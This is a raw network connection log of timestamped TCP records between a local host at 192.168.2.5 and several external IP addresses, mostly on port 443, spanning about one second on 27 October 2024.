Oct 27, 2024 17:54:33.290445089 CET	443	49857	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.290940046 CET	49858	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.290971994 CET	443	49858	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.290994883 CET	49857	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.291032076 CET	49858	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.291385889 CET	49858	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.291412115 CET	443	49858	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.291681051 CET	49857	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.291696072 CET	443	49857	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.296402931 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.296432018 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.296639919 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.298825979 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.298837900 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.299639940 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.299757004 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.299843073 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.300112009 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.300112009 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.300127029 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.300137997 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.307590008 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.307677031 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.310672998 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.310698986 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.310899973 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.322432041 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.322441101 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.322772026 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.322793961 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.323764086 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.325720072 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.325865030 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.325967073 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.332604885 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.332654953 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.332690001 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.332710028 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.332882881 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.335185051 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.336981058 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.337064981 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.337080002 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.345837116 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.345912933 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.345928907 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.354721069 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.354832888 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.354846954 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.424432039 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.451512098 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.451556921 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.451581001 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.451606035 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.451658010 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.453619957 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.460640907 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.460674047 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.460702896 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.460717916 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.460848093 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.474553108 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.474574089 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.475549936 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.475557089 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.475663900 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.475683928 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.488882065 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.488948107 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.489033937 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.489121914 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.489144087 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.489233971 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.523907900 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.570204020 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.572097063 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.572115898 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.572323084 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.572375059 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.572387934 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.579242945 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.581125021 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.581139088 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.583467960 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.585122108 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.585135937 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.592119932 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.593132973 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.593151093 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.642729044 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.645134926 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.645150900 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.690784931 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.690824986 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.690855026 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.690865993 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.690891027 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.690927982 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.697870016 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.701127052 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.701143980 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.702220917 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.702279091 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.702294111 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.711080074 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.711150885 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.711158991 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.747430086 CET	49861	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.747456074 CET	443	49861	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:33.749145031 CET	49861	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.751286030 CET	49862	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.751322985 CET	443	49862	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:33.751562119 CET	49862	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.755429983 CET	49861	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.755445004 CET	443	49861	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:33.762021065 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.762057066 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.765129089 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.765152931 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.767573118 CET	49862	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.767592907 CET	443	49862	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:33.809617043 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.809644938 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.809679985 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.809691906 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.809828997 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.812011957 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.821633101 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.821665049 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.825125933 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.825136900 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.825424910 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.832281113 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.867156982 CET	49857	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.867219925 CET	49858	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.867806911 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.867851019 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.867918968 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.868324995 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.868369102 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.868467093 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.868606091 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.868621111 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.869381905 CET	49862	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.869385958 CET	49861	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:33.869616032 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:33.869740009 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:33.869986057 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:33.870800018 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.870810986 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.880354881 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.880501032 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.880589962 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.880830050 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.880886078 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.880887032 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.880923986 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.880971909 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.881501913 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.881539106 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.881567001 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:33.881582975 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:33.900331974 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.906209946 CET	443	49858	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.906290054 CET	49858	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.907031059 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.907062054 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.907329082 CET	443	49857	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.907759905 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.907771111 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.911349058 CET	443	49861	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:33.911377907 CET	443	49862	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:33.919151068 CET	443	49857	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.919235945 CET	49857	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:33.924016953 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.924510002 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.924527884 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.924968004 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.924973011 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.926343918 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.926419973 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.927305937 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.927324057 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.935551882 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.935590982 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.935622931 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.935643911 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.935653925 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.935681105 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.940707922 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.940788984 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.940819979 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.951246023 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.951491117 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.951509953 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.986524105 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.987221956 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.987272024 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.987783909 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.987796068 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.999409914 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.999483109 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.999506950 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.031218052 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.031246901 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.031302929 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.031327009 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.031364918 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.031723022 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.031743050 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.031841040 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.031857014 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.034905910 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.034931898 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.035259962 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.035418034 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.035432100 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.045181036 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.045378923 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.045407057 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.048953056 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.049454927 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.049468994 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.049997091 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.050002098 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.050614119 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.050641060 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.050708055 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.050935984 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.050950050 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.054290056 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.054328918 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.054359913 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.054368973 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.054383993 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.054414034 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.056124926 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.056379080 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.056437969 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.056468010 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.056479931 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.056510925 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.056518078 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.058758974 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.058773041 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.058864117 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.058979988 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.058985949 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.059189081 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.059304953 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.059331894 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.063270092 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.063621998 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.063635111 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.064074039 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.064089060 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.069717884 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.070051908 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.070065022 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.118380070 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.118391037 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.118462086 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.118470907 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.118479013 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.118546963 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.118947029 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.118961096 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.118998051 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.119009018 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.119551897 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.119582891 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.119821072 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.120006084 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.120016098 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.121931076 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.121947050 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.122209072 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.122328043 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.122343063 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.164271116 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.164314032 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.164333105 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.164350033 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.164361000 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.164406061 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.164448023 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.164514065 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.173180103 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.173454046 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.173494101 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.173518896 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.173525095 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.173535109 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.173574924 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.173635006 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.173681974 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:34.173738956 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:34.183613062 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.184344053 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.184514999 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.184652090 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.184664965 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.184674025 CET	49859	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.184679031 CET	443	49859	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.189275980 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.189296961 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.189378977 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.189547062 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.189559937 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.194010973 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.194041014 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.194123983 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.194133997 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.194325924 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.194412947 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.194412947 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.194436073 CET	49860	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.194447041 CET	443	49860	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.197607994 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.197664022 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.197742939 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.197858095 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.197875977 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.224049091 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.224081039 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.224145889 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.224402905 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.224417925 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.335608959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:34.337163925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:34.338409901 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:34.338454008 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:34.338532925 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:34.338736057 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:34.338753939 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:34.374449968 CET	443	49861	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:34.374552011 CET	49861	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:34.385829926 CET	443	49862	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:34.385895967 CET	49862	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:34.554158926 CET	49853	80	192.168.2.5	185.215.113.206
